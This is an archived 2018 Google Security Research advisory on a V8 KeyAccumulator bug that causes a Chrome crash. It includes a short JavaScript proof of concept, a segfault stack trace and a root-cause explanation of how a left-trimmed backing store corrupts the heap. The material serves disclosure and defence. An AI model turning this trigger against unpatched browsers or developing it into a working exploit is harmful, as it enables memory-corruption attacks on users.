Twenty Year Anniversary

Chrome V8 KeyAccumulator Bug

Chrome V8 KeyAccumulator Bug
Posted Jul 12, 2018
Authored by Google Security Research, lokihardt

Chrome V8 suffers from a bug in KeyAccumulator that can cause a crash.

tags | exploit
MD5 | 9fee601d9a1d2470bc41cfa501ef0dbc

Chrome V8 KeyAccumulator Bug

Change Mirror Download
Chrome: V8: A bug with KeyAccumulator 




PoC:
for (let i = 0; i < 10; i++) {
let [tmp] = [,], arr = [...Array(9063)];
for (let j = 0; j < 400; j++) {
Reflect.ownKeys(arr).shift();
Array(64386);
}
}

Crash log:
Received signal 11 SEGV_MAPERR 30d96df00000

==== C stack trace ===============================

[0x555555f3c8f4]
[0x7ffff7bcb390]
[0x555555b48eb5]
[0x555555b46f0f]
[0x555555b0d201]
[0x555555b18c0e]
[0x555555b19286]
[0x555555b02119]
[0x555555afe9b1]
[0x555555afd305]
[0x555555b0815c]
[0x555555adba22]
[0x555555be31f9]
[0x555555c283f3]
[0x555555bc2779]
[0x555555a81423]
[0x555555bc4982]
[0x555555bc3c41]
[0x555555bc2cbb]
[0x555555bc24bb]
[0x555555bc23ec]
[0x55555587f644]
[0x37cbf798b5dd]
[end of stack trace]
Segmentation fault

What happens here is:

1. When rehashing a hash table, it stores the pointer to the new table into the old table (<a href="https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=18369" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=18369</a>). The new table is directly used as the backing store of the result array of "Reflect.ownKeys(arr)".
2. The shift method invokes the MoveElements method which invokes the Heap::LeftTrimFixedArray method when "len > JSArray::kMaxCopyElements" is fulfilled (<a href="https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=2287" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=2287</a>).
3. The Heap::LeftTrimFixedArray method cuts out the left 8 bytes (a pointer) of the backing store, and leaves a filter object (8 bytes) in there (<a href="https://cs.chromium.org/chromium/src/v8/src/heap/heap.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=2816" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/heap/heap.cc?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=2816</a>). It seems this operation is performed based on the assumption that the pointer to the backing store is not held in other places. But the pointer to it was stored into the old table at 1.
4. So the filter object created at 3 is collected from the old table when a garbage collection triggered, since the size of the filter object is 8 bytes, it hits the assertion (<a href="https://cs.chromium.org/chromium/src/v8/src/utils.h?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=1127" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/utils.h?rcl=a2ca1996873f3ffa79d9495fb2cf4e7c0e51d9e9&l=1127</a>).




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    26 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    2 Files
  • 7
    Oct 7th
    3 Files
  • 8
    Oct 8th
    23 Files
  • 9
    Oct 9th
    16 Files
  • 10
    Oct 10th
    15 Files
  • 11
    Oct 11th
    19 Files
  • 12
    Oct 12th
    16 Files
  • 13
    Oct 13th
    2 Files
  • 14
    Oct 14th
    2 Files
  • 15
    Oct 15th
    15 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close